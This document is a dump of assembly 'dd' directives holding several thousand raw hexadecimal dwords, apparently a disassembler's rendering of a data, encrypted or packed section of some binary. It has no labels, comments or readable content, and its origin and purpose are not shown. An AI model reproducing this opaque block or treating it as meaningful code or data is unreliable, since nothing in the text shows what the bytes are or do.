dd 5596A589h, 4C96959h, 0C9AA12E7h, 0FA347FC1h, 4FC68A26h
dd 0EFDFD040h, 61273B87h, 0A0D17820h, 2843D064h, 2D06D49h
dd 75C8129Dh, 0E7D5C531h, 30E5002Ah, 552A1428h, 0FC1CF72Fh
dd 38677172h, 92F45B37h, 6E8141B4h, 774BF7h, 57564C32h
dd 17A96852h, 5A1A79B0h, 0DA5CE94Ah, 413E0BDFh, 0CDF474CAh
dd 9DF58100h, 0BF22205Bh, 1A350ED0h, 0E5A0611Dh, 0C1A74111h
dd 0FDC24EBh, 3A056680h, 2D0C5B3Ah, 0E9E56AD7h, 0DEFF317Dh
dd 0F776307Dh, 116813F9h, 5C71AA0Eh, 0FA040A07h, 0F6A32591h
dd 44F05640h, 256C90C1h, 1FF802E2h, 44231732h, 9D6DC31h
dd 0D37DE0C6h, 254A2C81h, 5AD2903h, 1F065AC8h, 0F4D82925h
dd 0C4CA58BAh, 9D967D95h, 9845DC2Dh, 0A80C3F2Bh, 13B0CFFFh
dd 0B6FD04Fh, 5F674BEDh, 0AAD692BFh, 0A404D3BDh, 0AA2C1B53h
dd 1C2847F0h, 52E9AEF9h, 0EFB452EEh, 0BAA520E2h, 58693988h
dd 9DEF509h, 0BA5764A7h, 4B53DE23h, 67BE8787h, 0C0633509h
dd 0C273526Eh, 90A85B65h, 0F2B564BAh, 5DE80DEBh, 5560DEC1h
dd 0F2254A35h, 57A948Ch, 17B52729h, 0C5C10FACh, 0FAFC7685h
dd 0A2C64760h, 629A4695h, 0F2E3165Ch, 6AB7B1FBh, 27A05E89h
dd 0BF76B6F7h, 24BF6FAh, 0D2D2D9A2h, 7F689F01h, 2E5CFDBDh
dd 3E575056h, 9BB3D483h, 1205F95Bh, 208125E9h, 48DDF328h
dd 68165F38h, 0F588AC02h
dd 35649C13h, 0E52DFDECh, 7825CFFBh, 0EAC18080h, 7ED0B14h
dd 4DB3CA29h, 1CE0FAC2h, 0BF804C0Fh, 6D1317A6h, 335FD3Fh
dd 0F80B35C7h, 0DF480723h, 0F276A55Ch, 20D704E1h, 0BF0308F3h
dd 4511DF01h, 0BB2826BDh, 655BFC0Fh, 0B2BB073Ch, 886B7BB7h
dd 4DA02F1h, 0C06AC29Eh, 9D7FEAD9h, 0D1B432CEh, 8F2A31F1h
dd 98EE4A70h, 2C07F3A5h, 0E968C07Fh, 4E6807E6h, 5EF7785Fh
dd 4B68D4BFh, 0BF1C3057h, 0A021395Bh, 87B36801h, 3B5D740Bh
dd 0B17F22F1h, 5A2F08Ch, 0BA62D4BCh, 97171E7h, 0C7745E54h
dd 70706850h, 2BF6B773h, 15EE50h, 162D413h, 3733E9FEh
dd 95C11BC0h, 9F7E9876h, 0B0121216h, 0E70417A8h, 0C017DA3Fh
dd 77F9C375h, 0AE38423Eh, 288952B2h, 7C7A82E8h, 70B80014h
dd 5529937h, 585827B6h, 0E90C8035h, 2704BC7Ah, 4F2360D5h
dd 42219607h, 0E66362F8h, 694BC7E1h, 8BE5EEDh, 8A0B0169h
dd 0D7C4DD1Bh, 0A977D433h, 0EF8E10CBh, 0C35A2BA4h, 6E87BD01h
dd 816B72A9h, 3188BC62h, 41F161DBh, 5559EEh, 970A8D68h
dd 603C0798h, 0E97E9504h, 59025303h, 2D715A56h, 35490581h
dd 0B12C0E74h, 8D2F0741h, 0C5647019h, 6FBE3212h, 0D3CA01E4h
dd 0A5E2BB11h, 0F1C6FC5Bh, 0AFC2BE68h, 0B021F4Eh, 0CA5952EEh
dd 37A480C8h, 0B50C9533h, 0F15AE116h, 0FC68B2C0h, 81FCA62Bh
dd 6D7F07ABh, 0D438282Ch, 9E0B5EBFh, 90307766h, 0DB026855h
dd 5D54D444h, 0BC36052h, 7B880E2Fh, 0E22E5625h, 45CF05E0h
dd 2B76C68h, 0A26741D6h, 0FC4B8DEh, 0D2A9899Dh, 5A84DA90h
dd 0A58A283Dh, 804080F7h, 0E46835F2h, 34DDC579h, 9247BB5Ah
dd 0F5894B18h, 0BF4CFD0Ch, 0EA7DA0B7h, 582C750Eh, 78012A03h
dd 0F722F310h, 886882DDh, 0D52B4B83h, 7F95C240h, 688697BCh
dd 256B0EDEh, 6B7EA992h, 0A43C9E60h, 269980Ah, 75D6E75h
dd 6F415149h, 9E25625Ch, 35F08FD3h, 79C77288h, 837230F9h
dd 0C15EF553h, 7608ED2Eh, 11A7D10h, 8821FAC3h, 0CD74C5B8h
dd 0D198935Ah, 52F24A01h, 12803154h, 9EE73548h, 294AA5A8h
dd 4702C241h, 442E0C75h, 0BB4DE0B9h, 0FC73C48Eh, 46680053h
dd 0E961162Ah, 0E0941285h, 9531FD9Eh, 0B53E05E8h, 0B5CD44Ch
dd 5DBCD590h, 0F5685158h, 27D3F67Fh, 0B98970A8h, 0B7354032h
dd 5F696766h, 476AF7F8h, 7E42E054h, 0AB7E0988h, 0F0A079Ah
dd 7891CB90h, 0C21BBE38h, 0E7FF5508h, 8DBB00EBh, 0BA56C03Eh
dd 5D0BA5F3h, 0BEC7F804h, 81FB5CD5h, 7EB59732h, 0DD37032h
dd 5656AF92h, 0A073722Bh, 0D9B2C10Bh, 584C885Bh, 78740501h
dd 0C03A6B90h, 560CA503h, 6CE640E9h, 7A4ECD2Dh, 0FF4EEAF8h
dd 0AA64AAD3h, 0ADA26089h, 16E79704h, 20A76805h, 0E69763A6h
dd 0FEC810CEh, 5601D04Ch, 0A7C24BEh, 0B04BF435h, 5B2FD595h
dd 4EB3570Fh, 41C2F097h, 0C9E05872h, 2D1C4806h, 8E478F07h
dd 0CCCAC289h, 5D3A3F8Ch, 41CEE5F9h, 30010A41h, 262D3EF5h
dd 695CE8F1h, 60E91353h, 0FB99EBFEh, 4B17B41Ch, 6ECAEA5Bh
dd 6AC3257Dh, 0A752C12h, 710B6CCAh, 0DF3812A9h, 2D5CF6Ah
dd 2994246Eh, 593DA482h, 50C8E209h, 19CB2502h, 6AA8884Bh
dd 6BF60DF1h, 691425Bh, 0EA2B03DCh, 77190A70h, 0E9280917h
dd 54763EB5h, 1C9CDC8h, 0A60DE964h, 4F2E44B6h, 0DEF5801Ch
dd 6A27C32Ch, 0CCFC77C9h, 0E9EB98ADh, 0ACBC4ACFh, 8DE4C17Eh
dd 0CE2B15E3h, 0D22D0308h, 91160121h, 74005D8h, 96BE49E9h
dd 2212A720h, 1206F9D5h, 0ADD9C379h, 3B49E7B1h, 0F82C2A9h
dd 6EF7C8BEh, 2C6818A6h, 586CAD53h, 18700D80h, 6E47E25Eh
dd 0A20041D1h, 0C5F78131h, 0C0743350h, 0DD0CF40Ch, 9C160510h
dd 9DBC5A08h, 9D072D28h, 35818745h, 0B3FC8907h, 681B802Fh
dd 0FBB366D2h, 8464D625h, 0ACB88CE9h, 2F099E5Eh, 0BFD27C48h
dd 4C93170Fh, 0BE91D365h, 423F38Ah, 0C0EC539Ah, 9F151938h
dd 0C4288DBAh, 2EED109Bh, 0FC2C134Fh, 0A52E5307h, 67C0F52Bh
dd 4AA83DF8h, 2016F3BFh, 29A839B1h, 0C4F1381Dh, 0BFF829FBh
dd 0BE87EAEDh, 0EEE0746Bh, 281C1880h, 0A8055EC6h, 3FA900DEh
dd 65E9342Ch, 4C7A92B9h, 6B2C7C19h, 52C54F84h, 0C4A6B858h
dd 5E9D501Bh, 3044BE20h, 0CB58B011h, 54E27A7Eh, 7BEAEBECh
dd 25B9FA48h, 89DC8BC9h, 0A9B9AF84h, 9909B51h, 111668B5h
dd 87025246h, 1541842h, 503E54FBh, 200547C7h, 681B723Bh
dd 60E5A31Dh, 0A7067B4h, 0DE891C71h, 1B4E4731h, 1302448Eh
dd 0DE0157Fh, 70065994h, 2269E903h, 1D8BB558h, 0FCD4A977h
dd 1E04B3Eh, 4DEA1029h, 0C888449Bh, 0BD5BBDC3h, 3BC9DFBAh
dd 8DA3AE61h, 15393323h, 9FA282Ch, 0E3D41505h, 501B862h
dd 0BC879455h, 0E5BA4C6Dh, 55626780h, 2D3841CFh, 7E4170CAh
dd 62DDDEE9h, 99FFDE45h, 0B5ED2B8Fh, 85AEEC93h, 4EBFF41Bh
dd 0E36F5357h, 2B50AFE9h, 44E052Eh, 495C4B1Dh, 50098B49h
dd 0B20782A9h, 968182F9h, 0D44677DDh, 85B8E5C0h, 7D2A8040h
dd 0AD266BE9h, 0D52DE054h, 660C998Ch, 2958F1FCh, 24C31089h
dd 35ABBE2Dh, 68430175h, 0F6664817h, 30CDA472h, 0E85D8E29h
dd 772F685Dh, 86D85B6Eh, 26ABD9E9h, 10BB903h, 0DB813B54h
dd 0BF0D7907h, 68069DC7h, 27695A06h, 896456E0h, 0E995A5F0h
dd 0B420C58Eh, 0EA8180AAh, 0B15FC828h, 8608D697h, 2F99CAE9h
dd 8373E577h, 8CF65E81h, 0F84E0CA5h, 44FCBFA3h, 0D7427D89h
dd 76492518h, 58418F96h, 48F4BD5Ah, 0B83C4AA8h, 452E0B0Eh
dd 25A8DD0Ch, 825B1708h, 0F2F1527Fh, 40A65A1Eh, 0F799208Bh
dd 79A577C5h, 565C4168h, 6CB48C54h, 9F5D2A10h, 0BD06EEC4h
dd 573B4114h, 22320B7Eh, 407770DEh, 2DBED2Bh, 0E9C0694Ch
dd 6657EED1h, 0A129253Dh, 2463475Dh, 3C02399Ah, 0EAC150D9h
dd 0B0608582h, 458B1A09h, 89BA11Eh, 702D38F4h, 0E2B2830Fh
dd 33BE2043h, 14E4460h, 73F90AFh, 3CECCE81h, 0E913FE04h
dd 959125B2h, 0E46A58C6h, 4167C860h, 0D5C55116h, 2DF41FEBh
dd 13629679h, 145F0BF4h, 0D0519718h, 857728BAh, 5F897625h
dd 548BA5CDh, 0AFC5575Bh, 0EA18E984h, 0F181F190h, 5DAF1768h
dd 0E5C4BC36h, 941E40FAh, 6649A274h, 2ED98F59h, 8909CAFFh
dd 1F4CDFF7h, 947CCC1Dh, 15453871h, 0EB3EC0DEh, 9D681346h
dd 249BD59h, 8A21FCE7h, 1062CA02h, 0BDFA89E5h, 134EC0F6h
dd 0B6FAF884h, 169F4333h, 5DA820ABh, 0C5D5F996h, 0A1F41088h
dd 2B4741FDh, 74553287h, 1AAB31BAh, 0E6BF00F5h, 0F430E44Bh
dd 0FE15D646h, 1317249Bh, 53CC97E0h, 501E3E02h, 5AFED838h
dd 3CC0AC34h, 5A7E6918h, 2934120h, 2F73B2D7h, 2900085h
dd 4A70E951h, 2D5293BBh, 0B8474EC8h, 17297109h, 9335E11h
dd 1855195Bh, 8359150Dh, 0F3FA559Bh, 0C1A9E8D5h, 2F2C3858h
dd 3240C82Dh, 0E92FD5F6h, 4C558BD2h, 68C9F9A7h, 4262EA2Bh
dd 38805A18h, 70CAFE6Ch, 300E4670h, 5B1C0C5Ch, 0AB4B64BAh
dd 0DF112E52h, 0B3680B96h, 694D791Eh, 97E5F2D7h, 4627B36Eh
dd 53CDFE37h, 801702E1h, 95F78022h, 3A28B604h, 4F7E2CF8h
dd 0C79CD07Ch, 950D5C5Ah, 4DFF71Fh, 9110CA31h, 17C26851h
dd 0EC4E790Eh, 0C0E9B148h, 5AAF1FBAh, 7700C38Bh, 42C61CEh
dd 6CA4475Eh, 88244E32h, 0BE2D688Ah, 0CB8D7953h, 5AC4675Ch
dd 0C3C457EDh, 4B30EEFAh, 9F39937Ah, 0D90332D6h, 0F01E915Bh
dd 929719E9h, 0E200B781h
dd 129C6A04h, 3C4A6DFAh, 0D5FB5424h, 5ACFBA02h, 0C262FC10h
dd 0B536AE9h, 5AE296F7h, 145DF9BEh, 0B563F729h, 8548F5FFh
dd 0D093E979h, 4E7E41EDh, 9455E3D2h, 0F1B32D3Fh, 1803BC48h
dd 8B48B544h, 700A113Ch, 706754BFh, 0E09E9AE9h, 6680B500h
dd 5B45052h, 0C0D4F676h, 73F5C1E4h, 920E3887h, 5019F0FBh
dd 7233BBBEh, 44D580Dh, 0C193B949h, 3A6D6880h, 0C7C15BA3h
dd 819216E9h, 1CCF2D36h, 0C97F7526h, 46E6FCE2h, 30B3AB1h
dd 0C6DF04Eh, 2EE550F7h, 3E1895CCh, 4F0C1A9Ah, 52B22021h
dd 6E492018h, 0B5F289D4h, 0B887D189h, 1C7F2B88h, 1CC690C9h
dd 0DCED773Ah, 0AD107043h, 0E9E6E469h, 6E06A425h, 28B42087h
dd 94E18103h, 52A1E7Dh, 984C6B0Ch, 0A21E803Eh, 640B462Ch
dd 0F48003E9h, 0C7564916h, 4D035B24h, 0C1D0640Bh, 1E2636E3h
dd 69136F3Ah, 0CA50BE6Dh, 666C25DFh, 4087B025h, 0DC3868F1h
dd 3DAF5E1Ch, 54E4BE5h, 30AD12C6h, 0B569801h, 0FB283616h
dd 3D619104h, 8284BA73h, 0C90177FCh, 2D2C3EE2h, 15B88249h
dd 7666701Dh, 657D3984h, 0BBED6B0Dh, 38EF75D5h, 0B5050D19h
dd 0E821F1B1h, 58848FAFh, 39F6843Bh, 5E96BE00h, 44B5287Dh
dd 48FB4013h, 670022EEh, 3B2D6366h, 27A0CEE2h, 0CC40F9E9h
dd 700F26BAh, 0D2C1629Ch, 0CFF36A04h, 0BEDF1212h, 0BBF10344h
dd 49435C0Ah, 9D3D787Fh, 826D48D9h, 0A889942Eh, 458710C4h
dd 5D5B5A0Bh, 686170F4h, 312B31E4h, 123EF269h, 286C7BE2h
dd 5928E77Ch, 2B53582Dh, 417B3410h, 68D7FE22h, 0C41E7DBh
dd 335D61DFh, 3C414E61h, 4C95F32Ah, 534A7677h, 66CF8CFFh
dd 58764CBh, 5980FBD1h, 251775B9h, 0A0F522EAh, 4B0CC959h
dd 2B4D4885h, 0C3D61A32h, 2A510F41h, 0D6EF3EDDh, 28597673h
dd 5506334Dh, 0F04083EAh, 9DBF57CAh, 109417Ch, 9D1D1FAh
dd 0F244B997h, 29C3F762h, 0D65277F8h, 58018397h, 0C3309A66h
dd 72999FDEh, 0EEF62072h, 4B81F59Dh, 7BFEFAA5h, 0A9F83921h
dd 1B98D607h, 0C41F169Dh, 0B3EEA58Fh, 4BF11658h, 88269DA7h
dd 8CC52D31h, 44F380C0h, 0D4F9B720h, 95946863h, 0E929D8ABh
dd 20C3B72Dh, 9A3028A7h, 257FB860h, 7FA29BB1h, 5009BAEFh
dd 36080B5Ah, 988FE4E3h, 0EA936DC4h, 0A74FE1F3h, 213B13D7h
dd 0C1236DC1h, 15ACEE04h, 20860973h, 5B7E0868h, 23DF2100h
dd 9B24F0E9h, 169031F8h, 77332987h, 8D092D2Ch, 0C8BF0F80h
dd 9D262768h, 0F9DA0098h, 7977BEA2h, 55EACBEAh, 0DE3BF6C8h
dd 9C47E82h, 0E47D3EBDh, 0BD9B012h, 119E6862h, 0E9E23077h
dd 8DF95ACDh, 5101C134h, 3B408BB7h, 97C0298h, 169CF65h
dd 2624677Fh, 44EA711Eh, 21B02C1Ch, 46F5B9Fh, 20D65E9h
dd 7EEA895Fh, 0D30B6F03h, 0EA83139Ch, 92EB2D5h, 0CAF6B8E9h
dd 0D658DD38h, 5CBB0CC2h, 0DE39C08Bh, 6A5F819Eh, 21A511BDh
dd 545E17DAh, 0DA89BADEh, 137AF5EDh, 0E684F03Dh, 347C4712h
dd 945D5FBFh, 0E41D4204h, 0BCD792E7h, 0DDEE4B10h, 0A02F04h
dd 288A96F8h, 0A4D2D410h, 3BF968A1h, 37B20091h, 1F49E76Fh
dd 894BE829h, 82E31A0Dh, 20CDDF0Eh, 72D68E1h, 0D62C45C5h
dd 4EB3A6C8h, 178FA388h, 37EF3DF4h, 0D48449FAh, 6C22EF62h
dd 0E46AD7BBh, 65085218h, 0D00B6493h, 551EEA3Eh, 0C38E687Ch
dd 6AB89258h, 68FB6530h, 989F4F66h, 0CE354D62h, 165079ADh
dd 205835Ah, 99C3BB53h, 0D9F83F38h, 639BCC92h, 22FA687Ah
dd 984EC7Dh, 28730FDCh, 0D26E504h, 94201CF6h, 80D90B86h
dd 2FF5CF1h, 0F430E117h, 366D512Ch, 0F5047E96h, 4BE2946Fh
dd 7FB7B5AFh, 81EE9385h, 0BBB4E884h, 0A64B2697h, 8526887h
dd 3158A200h, 2926C8C6h, 37C38004h, 0D466F1ABh, 0F8975A66h
dd 47A4E31Ah, 0C6870207h, 0F1D5C57Bh, 36415AE5h, 0C2317B9Ah
dd 0C2066EBh, 72094C87h, 0DD3D0781h, 3720EC63h, 36C8D782h
dd 50E4002h, 0ABED58DAh, 19215429h, 3C4B6DFh, 543798BEh
dd 899855h, 3BB65C60h, 0E946D6F7h, 4CBF5A27h, 39AF8052h
dd 0FE68806Dh, 82BD7E5Dh, 0FD530297h, 293573C0h, 0C3615F2Eh
dd 0ACFFEF03h, 0FD5BE7BFh, 0EDE906A1h, 58307D85h, 1F661E71h
dd 0D68184CBh, 560573B3h, 140273FAh, 6E7845BFh, 7BE6F533h
dd 0BD7ED6BDh, 0FB2DE2F4h, 0D7110961h, 7252985Dh, 5E5997E6h
dd 2D396861h, 9CC1412Ch, 7F50C747h, 0E569016h, 0E3ECCC8Dh
dd 5294B4C7h, 3E20A2F8h, 0BF8B9090h, 0C25E97D0h, 0BD341DBEh
dd 4016BE5Eh, 20E81714h, 49E09D1Ch, 5596F4FCh, 0E09D6142h
dd 42F6A950h, 4D1550FEh, 9BF98D41h, 26741DA7h, 0F5758189h
dd 0FA093BC4h, 7D56E30Fh, 1C4BDDC6h, 9FB18ABBh, 864FAD40h
dd 95215F2Fh, 0A2ED94D5h, 818C7C43h, 0EF58AAEEh, 0A4086F73h
dd 208C2A17h, 70957A13h, 0D3F62E79h, 1FE31720h, 272FDD77h
dd 428744F9h, 0DE1B3307h, 81430ECBh, 0E070B681h, 1D2B68BEh
dd 81AAAEE9h, 0CE081A45h, 3D924EA7h, 5AA3A37h, 0BA2DE699h
dd 7226AB32h, 83F34D01h, 0BF043A50h, 19E097C8h, 31255D1Eh
dd 2D074273h, 0BBF8EAF5h, 52D4A58h, 20C61A77h, 0A3C22C2h
dd 4BFC1ED9h, 56502C7Ch, 0DF07F201h, 0D501D383h, 1F828F51h
dd 5C27E76Fh, 5A094726h, 219ED988h, 0B30FFEF5h, 0E11B4B6Ah
dd 0A2D84A2Ch, 1DE9BF0Ah, 71E52AC5h, 9550B54Bh, 5868806Bh
dd 0D6B73270h, 2CDD51EEh, 0E3FFB420h, 290ECBECh, 5DC1E0BAh
dd 4B480B8h, 66E20816h, 5046660Bh, 1C579586h, 0B74B28Bh
dd 9BC4C16h, 54F32501h, 3D1D30F0h, 0F5893E40h, 813C0876h
dd 2552005h, 8302AF11h, 0CBF7A3DEh, 3E8BB965h, 102B70D9h
dd 0FE5B0780h, 2468CA6Ch, 65180698h, 1B03C255h, 0D6E6A4C9h
dd 245DEC5Fh, 1382137Dh, 0ABBC53F2h, 372E7B99h, 14BA8461h
dd 12E1004h, 7A316809h, 81BD5B59h, 8106853Fh, 0D81FBF1h
dd 58E9CB01h, 0B5906F38h, 5B71B02Ah, 4988C23Ah, 0E6CA78F7h
dd 0B11B1ECAh, 2E7F0C26h, 564B5530h, 0C0FE94EAh, 76E93BAh
dd 0D99B7350h, 0C6D0F16h, 30252E13h, 0E54C6AFh, 1EAFE917h
dd 0A34A52E3h, 99C05B83h, 9D14B674h, 428C58DCh, 0BB8E905h
dd 0F28031Bh, 250EF0FCh, 2AFCE04Eh, 6F200835h, 0CD6F83Ch
dd 0E943CF5Fh, 76005E4Bh, 942278BBh, 9A9B856h, 79A66276h
dd 46097100h, 0C11927FEh, 20608E5h, 78C4FC60h, 9BA0BD5h
dd 80DD5DEBh, 70EC970h, 5B58CB58h, 0A0246651h, 4009B010h
dd 0CA585052h, 3DA9CB4Ah, 0E04AD2DEh, 88395317h, 27DA3DEBh
dd 0C5C6C8BCh, 0FD830F66h, 0D3F42914h, 3A469F79h, 34EBD81h
dd 0E680C8B6h, 27C6E637h, 0F7FEC029h, 0BE4B9025h, 0CB721602h
dd 82218442h, 7764564Ah, 0FD256527h, 0E924FB9Eh, 0BF804FEEh
dd 14B07536h, 0EFC12647h, 0E9D7036Eh, 407B0BB2h, 154E22ECh
dd 60D3AAEDh, 3359CF97h, 70E968C7h, 0C8CED5F9h, 51880D9Ch
dd 0FF422D08h, 0DC0DD80h, 7BF37D4Dh, 0B2841CA3h, 0A5890A1Fh
dd 25456A08h, 68C140F4h, 313E7D28h, 635ED66Fh, 8B87CCC4h
dd 0DFF9524Fh, 7C606882h, 0BD62CB7Eh, 0A05B05D5h, 7B164F9Ah
dd 0C2C164D0h, 808496CBh, 0A31A686Dh, 3FBA0256h, 4165DD7Fh
dd 0C554A0B5h, 0A9A4AC04h, 4A11EC88h, 0EB517426h, 1857BDD8h
dd 27A633E9h, 4900E6C7h, 68516336h, 243E556Fh, 9E85919h
dd 88595606h, 0BF29D827h, 5C10C7F0h, 0CF1D7165h, 481BC075h
dd 315DDE35h, 55286375h
dd 0E9128B77h, 0B1A2AD7Dh, 260AF15Ah, 531300FBh, 0E3C12D9Bh
dd 1B682D08h, 0A41CEA31h, 57192723h, 9464294Ah, 0E34D12ABh
dd 0CED0FB34h, 2720B568h, 770B49C4h, 483AB3F5h, 0E134480h
dd 0E833BA26h, 0F55FAD68h, 6573758Ch, 0BB2D5FE8h, 51CA7512h
dd 0A128FF4Ah, 0E9814E6Dh, 852B555h, 3A4169BFh, 578B48F2h
dd 1656535Eh, 0F25C31E9h, 4E0F5870h, 0C0A310FAh, 6E922422h
dd 5B26BD38h, 393562BFh, 75218977h, 0E9C2EEF3h, 166858D9h
dd 60367E68h, 8532C71Ch, 0DBE553Ch, 0CCFE3DD5h, 0E972D03Ah
dd 6BF5F54Ch, 0C499DCF3h, 0D4AE048Bh, 962CA06h, 7535D723h
dd 5610E846h, 5372397Bh, 0E24ACC22h, 78995A98h, 0E97D913Fh
dd 5CE62489h, 58DA5E95h, 0BA801E26h, 0A5651E89h, 6A248B3Eh
dd 0CF546CDDh, 897045D6h, 0EB395E5Dh, 55C2DEA0h, 1017DC33h
dd 0E710DA29h, 740C6B08h, 0C1CB4224h, 0C0A08C66h, 0D507694Bh
dd 0E0CE8149h, 4019FB62h, 0D6A96BDh, 0C60143BAh, 1BC36AC7h
dd 0C17304C0h, 815E503Fh, 0AE393B87h, 1D130292h, 0BEB5884h
dd 547E0A92h, 0A9AB7334h, 0BE9B0E9h, 52EC150h, 30492890h
dd 276174E6h, 6B685B1Eh, 0AED61541h, 0AC1FC404h, 2C4B694h
dd 77D13331h, 0C7F009E9h, 8724FF05h, 0A2EFC361h, 0D6D1D686h
dd 43A3EE9h, 0D2554D2Bh, 19E993C1h, 34CAE682h, 0C70140F6h
dd 1A4AC301h, 8B84FDD1h, 0BF09D7E9h, 0F02CAA31h, 0F9C4796Ch
dd 3A77AE3Fh, 591CEEE6h, 592C3A85h, 56D20438h, 0DA01BF8Ch
dd 468642CEh, 7597E3D8h, 0F02C4B51h, 21041C34h, 0DBC1E92Dh
dd 2F7BC1A7h, 0BADB137Bh, 15192h, 18C17023h, 70BC4270h
dd 21411769h, 0CE87C0EEh, 7209C456h, 0D60914E9h, 38486999h
dd 0E8887ADCh, 825B8130h, 0CE3A103Ah, 0CBD87D0Bh, 85B0074Eh
dd 27240425h, 0BE2B5FE9h, 4B581BCh, 0FEF233h, 7E1E43C2h
dd 0B649016h, 902E7B9Dh, 0DD852476h, 7AA02AE9h, 3CB92668h
dd 49B4602Dh, 0E913E788h, 0BB49F220h, 68A2016Fh, 0B77A4F06h
dd 6CE91259h, 0BBF09A0h, 31A71FD8h, 9C28477h, 76C18BBAh
dd 1118D4F6h, 47DA6279h, 0D27A30B9h, 5A08D618h, 6EC2314Ah
dd 48088BC7h, 0C7FD9038h, 0D66850E0h, 0FAFB8D17h, 5A0FFE77h
dd 1F32A444h, 0DFC0ED05h, 83F89B30h, 0BCEA8880h, 0A8511D7Eh
dd 93EC2790h, 3849FBC5h, 8228662Ch, 50619602h, 2354197Dh
dd 0FD5F1728h, 0F5293BBh, 8B0D2CAAh, 0B6E21E4Eh, 0D64BA293h
dd 2DE444FEh, 0B0AA130Fh, 0DC4E579Ch, 41CDAC8Ch, 4437200Fh
dd 0B52EBE58h, 0CE13F88Ah, 86CC0859h, 3C68813Eh, 0D1F70263h
dd 0C309192Ch, 0D40EFD9Ch, 0B2CE4113h, 0E813A32Dh, 0E69129C5h
dd 0C2E28080h, 418B151h, 98E9CA30h, 78C54024h, 9D0A4239h
dd 6BCB4B48h, 93545EA9h, 0A7045AF9h, 0B107ED62h, 66CB0302h
dd 0DF14A633h, 409EB15Eh, 52FBB700h, 8081B607h, 0E63258CEh
dd 2DE5775h, 0F009731Ch, 5E21785Ah, 3867FCDFh, 4D81DD5h
dd 12BF5C3Ch, 95E313D2h, 0B8030925h, 3980BBB8h, 0CA0F352Dh
dd 0EB3F306Eh, 5B68C22Bh, 0FE6805D6h, 0B823406Bh, 7CC57DC7h
dd 0BF30FCB8h, 6430532Dh, 2D737A33h, 4E465B3Ch, 80C57A20h
dd 3B413396h, 0CD051AD6h, 0AE41CA3h, 92E942FFh, 0FB982159h
dd 0A0CA5711h, 0F7458938h, 48ED24Ch, 509F9B63h, 0D3FD90BAh
dd 0EF4ADDE9h, 99D59C80h, 0BF094EC1h, 0E7806188h, 1EC8D7Bh
dd 0A5FD92B9h, 1FED5873h, 1221E235h, 5C21495Dh, 0EE234A85h
dd 0C6FCB28Dh, 24659FE7h, 0BE62D3Eh, 0A66DD59Bh, 0FF8C7584h
dd 8255EDBFh, 46399F68h, 645358EDh, 720B2204h, 0B6A0EE19h
dd 73F90BCBh, 0A006649h, 64557B1Ah, 5DA6E913h, 2AAA33EAh
dd 0C66802DCh, 2C18DF1Fh, 941A2EEBh, 5108B63h, 29BB16DEh
dd 2AED494Fh, 0AE2A4EE1h, 9821AE12h, 312AC169h, 79F479C4h
dd 51EB1E29h, 91443A4Ch, 31592DCFh, 368B0420h, 13C0493Ch
dd 0DA4CA81h, 922D51D6h, 3301E64Fh, 1F5CDC4h, 0D64C96CAh
dd 0A8896FB9h, 0F9952370h, 0DFF6C262h, 1BDDC0Bh, 68D12EBBh
dd 0ABE87B82h, 8E39BC12h, 0BDB00051h, 0C728A6B7h, 0BE664A58h
dd 0A0F93C83h, 926FE9F7h, 0EED6EC37h, 0E5B95AE0h, 89D5EEB2h
dd 60F9DD94h, 9A92476Ah, 28ABAE84h, 6FEB36E9h, 5E62D9CCh
dd 0CB023021h, 0A0B3FEEDh, 0E6D294BDh, 0E252A3E3h, 297C6Dh
dd 1F4A09B8h, 444B3143h, 5C58A688h, 9418D751h, 295A56ECh
dd 8A68F309h, 46F73867h, 17425A60h, 4BDBE642h, 0AE9766E2h
dd 949F2743h, 57808C8Fh, 5F4B60E9h, 2B1B539h, 417F5808h
dd 0F03053E5h, 0F25D821Fh, 0D00ED068h, 5BABF0B4h, 456BD7E0h
dd 5C2A24BEh, 74C422F3h, 26899199h, 0C26D5471h, 0ED5F197h
dd 1202B275h, 56D1BAE9h, 810580BDh, 0EFB044F6h, 0F529730Bh
dd 448525Eh, 750A760Ch, 0B007845Bh, 0C7EC5F96h, 131124Ah
dd 0F9252E7Eh, 0F6EA2240h, 7E5075D2h, 325527D4h, 1A90E3F2h
dd 4E827F95h, 754E015Eh, 0E90B00B6h, 5AB1E038h, 47C4BD5Eh
dd 0FE01D097h, 0A1014E25h, 21CA8C49h, 94FE5F43h, 0F5895095h
dd 7F0CEA91h, 9FEB497Ch, 7E4B52F6h, 2DB0A8A1h, 0BFDA5B58h
dd 20B7EAE0h, 10529C30h, 0F9014A1Ch, 3B094583h, 7F681C42h
dd 0A032D939h, 0B47AFA22h, 457F25E8h, 5BC2C9FAh, 4039D25Fh
dd 7C04AA44h, 54292239h, 91E2ED12h, 0CFE740Fh, 0C85A5F2Eh
dd 0AD8B5424h, 6162F72Dh, 99084C53h, 5D02CE7h, 8025107Bh
dd 0BCA1ED5Bh, 7CE2092Dh, 0BDD2096h, 0D75C6AFAh, 3F6BE0FFh
dd 6B989520h, 6955DE68h, 3A4BE174h, 0C3AD2F13h, 0F1DE9C2h
dd 0FFA7E67Ch, 5ACCA18Bh, 0E434EC2Dh, 8AE99747h, 75D76C14h
dd 0FE55F177h, 0F5B83FE8h, 0C58E644Bh, 1AB1829Dh, 0D760DF0Bh
dd 601197Ah, 72B9510Bh, 0E9CC320Dh, 89335EEDh, 6196E1A7h
dd 0D6672EF8h, 77F0DCB3h, 98F87914h, 0B7531F9Ah, 2E26DCB4h
dd 24413A51h, 2E557B39h, 5011E061h, 0EEF2A095h, 4ACED0EFh
dd 5097EF4Dh, 74902EF1h, 38BA5200h, 3B211C17h, 32680700h
dd 81314FB1h, 636D0129h, 8F9D8932h, 35A455F5h, 0E206AF7Bh
dd 927832Fh, 175768E1h, 0A4FC8FD5h, 41EECC8Eh, 1673EAC6h
dd 0D9096BE4h, 0C5558406h, 0B892BB12h, 0D8B9A938h, 0EE4F2099h
dd 2B607490h, 0F4D8051Bh, 21C02FC7h, 0EB5130FFh, 539314B5h
dd 5F0DFAA9h, 3BCA5926h, 8167084h, 1B2F3B8Bh, 0C1FE02C0h
dd 6444E490h, 38C09E6h, 61805289h, 61173951h, 4B34D0BDh
dd 544124Eh, 0ADEDBB5Dh, 4AFA9C5Ah, 28729BEh, 0BE00D2AAh
dd 7A78618Ch, 0E80F2567h, 0CCF002E4h, 60103669h, 27263733h
dd 0CE624C69h, 186D655h, 97F8F9C2h, 847332AAh, 0DBB082E9h
dd 43030A2Dh, 0F763CCh, 22E10F0Ah, 60E5424Ah, 0C6893978h
dd 4B6DEC2Ah, 43705AAh, 79ECB331h, 107FEB2Ch, 3C6E6885h
